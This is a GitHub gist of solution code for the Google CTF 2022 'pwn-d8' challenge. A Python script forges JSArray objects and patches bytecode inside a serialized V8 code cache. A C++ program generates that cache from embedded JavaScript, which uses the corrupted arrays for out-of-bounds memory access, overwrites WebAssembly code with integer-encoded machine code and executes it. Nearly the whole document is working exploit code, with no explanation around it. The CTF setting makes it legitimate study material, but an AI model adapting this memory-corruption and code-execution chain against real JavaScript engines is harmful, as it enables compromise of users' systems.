Skip to content

Instantly share code, notes, and snippets.

@pzread
Last active July 5, 2022 02:06
Show Gist options
  • Save pzread/c973b793dc1a20cd8fa6d524e233acdb to your computer and use it in GitHub Desktop.
Save pzread/c973b793dc1a20cd8fa6d524e233acdb to your computer and use it in GitHub Desktop.
Google CTF 2022 pwn-d8 solution code
from pwn import *
import zlib
dat = bytearray(open('dumpc', 'rb').read())
fst_s = dat.find(b'\x01\x0c\x92')
fst_e = dat.find(b'\x66\x66\x66\x66\x66\x66\xfe\x3f', fst_s) + 8
snd_s = dat.find(b'\x01\x0c\x92', fst_e)
snd_e = dat.find(b'\x66\x66\x66\x66\x66\x66\xfe\x3f', snd_s) + 8
thd_s = dat.find(b'\x01\x0c\x92', snd_e)
thd_e = dat.find(b'\x66\x66\x66\x66\x66\x66\xfe\x3f', thd_s) + 8
print(fst_s, fst_e, snd_s, snd_e, thd_s, thd_e)
# Double JSArray
typ = b'\x01\x28\x4a\x68' + b'\x04\x04\x04\x18' + \
b'\x38\x08\x00\x11' + b'\xff\x07\x00\x0a' + b'\x00\x00\x00\x00' * 6
# Obj JSArray
typ_a = b'\x01\x28\x4a\x68' + b'\x04\x04\x04\x18' + \
b'\x38\x08\x00\x09' + b'\xff\x07\x00\x0a' + b'\x00\x00\x00\x00' * 6
fxa = b'\x01\x08\x4c\x60\x00\x00\x00\x00'
da = b'\x01\x10\x07\xb4\x62' + p32(0x1000 * 2) + p64(0xdeadbeef)
fxa2 = b'\x01\x18\x4c\x64' + p32(0x1000 * 2) + p32(0x0) * 4
le = b'\x60' + p32(0x1000 * 2)
fst_p = b'\x01\x10' + typ + fxa + da + le
snd_p = fst_p
thd_p = b'\x01\x10' + typ_a + fxa + fxa2 + le
dat[fst_s:fst_e] = b'\x0b' * (fst_e - fst_s)
dat[fst_s:fst_s + len(fst_p)] = fst_p
dat[snd_s:snd_e] = b'\x0b' * (snd_e - snd_s)
dat[snd_s:snd_s + len(snd_p)] = snd_p
dat[thd_s:thd_e] = b'\x0b' * (thd_e - thd_s)
dat[thd_s:thd_s + len(thd_p)] = thd_p
# Locate the Ignition bytecode
code_s = dat.find(b'\x79\x02\x05\x25', thd_e)
# Patch array x
dat[code_s:code_s + 4] = b'\x0f' * 2 + b'\x13' + p8(2)
# Patch array y
dat[code_s + 6:code_s + 10] = b'\x0f' * 2 + b'\x13' + p8(3)
# Patch array z
dat[code_s + 12:code_s + 16] = b'\x0f' * 2 + b'\x13' + p8(4)
# Patch checksums
dat[8:12] = p32(0)
dat[20:24] = p32(zlib.adler32(dat[24:], 0))
open('dumpcp', 'wb').write(dat)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "include/libplatform/libplatform.h"
#include "include/v8-context.h"
#include "include/v8-initialization.h"
#include "include/v8-isolate.h"
#include "include/v8-local-handle.h"
#include "include/v8-primitive.h"
#include "include/v8-script.h"
#include "src/api/api-inl.h"
#include "src/base/platform/platform.h"
#include "src/execution/isolate-inl.h"
#include "src/objects/instance-type.h"
#include "src/roots/roots.h"
#include "src/snapshot/code-serializer.h"
int main(int argc, char* argv[]) {
v8::V8::InitializeICUDefaultLocation(argv[0]);
v8::V8::InitializeExternalStartupData(argv[0]);
std::unique_ptr<v8::Platform> platform = v8::platform::NewDefaultPlatform();
v8::V8::InitializePlatform(platform.get());
v8::V8::Initialize();
v8::Isolate::CreateParams create_params;
create_params.array_buffer_allocator =
v8::ArrayBuffer::Allocator::NewDefaultAllocator();
v8::Isolate* isolate = v8::Isolate::New(create_params);
v8::ScriptCompiler::CachedData* code_cache;
{
v8::Isolate::Scope isolate_scope(isolate);
v8::HandleScope handle_scope(isolate);
v8::Local<v8::Context> context = v8::Context::New(isolate);
v8::Context::Scope context_scope(context);
v8::Local<v8::String> source_string = v8::String::NewFromUtf8Literal(
isolate,
"let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);"
"let x = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.1, 1.2, 1.3, "
"1.4, 1.5, 1.6, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.1, 1.2, "
"1.3, 1.4, 1.5, 1.9];"
"let y = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.1, 1.2, 1.3, "
"1.4, 1.5, 1.6, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.1, 1.2, "
"1.3, 1.4, 1.5, 1.9];"
"let z = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.1, 1.2, 1.3, "
"1.4, 1.5, 1.6, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.1, 1.2, "
"1.3, 1.4, 1.5, 1.9];"
"let a = new ArrayBuffer(256);"
"let wasm_mod = new WebAssembly.Module(wasm_code);"
"let wasm_instance = new WebAssembly.Instance(wasm_mod);"
"z[0] = a;"
"z[1] = wasm_instance;"
"let f=new Float64Array(2);let h=new Uint32Array(f.buffer);"
"f[1]=x[20];"
"h[0]=h[3]+88;h[1]=0x2000;"
"x[7]=f[0];"
"let s=y[0];"
"h[0]=h[2]+20;h[1]=0x2000;"
"x[7]=f[0];"
"y[0]=s;"
"let u=new Uint32Array(a);"
"let pwn = wasm_instance.exports.main;"
"pwn();"
"u[0]=217973098;u[1]=800606244;u[2]=1718903139;u[3]=1348952428;u[4]=1223133512;u[5]=16843192;u[6]=16843009;u[7]=3091746817;u[8]=1735745634;u[9]=23486573;u[10]=604254536;u[11]=1784084017;u[12]=21519880;u[13]=2303219430;u[14]=1792160230;u[15]=84891707;"
"pwn();"
);
v8::ScriptCompiler::Source source(source_string);
v8::Local<v8::UnboundScript> script =
v8::ScriptCompiler::CompileUnboundScript(
isolate, &source, v8::ScriptCompiler::kEagerCompile)
.ToLocalChecked();
code_cache = v8::ScriptCompiler::CreateCodeCache(script);
}
*(uint32_t*)(code_cache->data + 8) = 0x0;
FILE* f = fopen("dumpc", "wb");
if (fwrite(code_cache->data, 1, code_cache->length, f) < 0) {
abort();
}
isolate->Dispose();
v8::V8::Dispose();
v8::V8::DisposePlatform();
delete create_params.array_buffer_allocator;
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment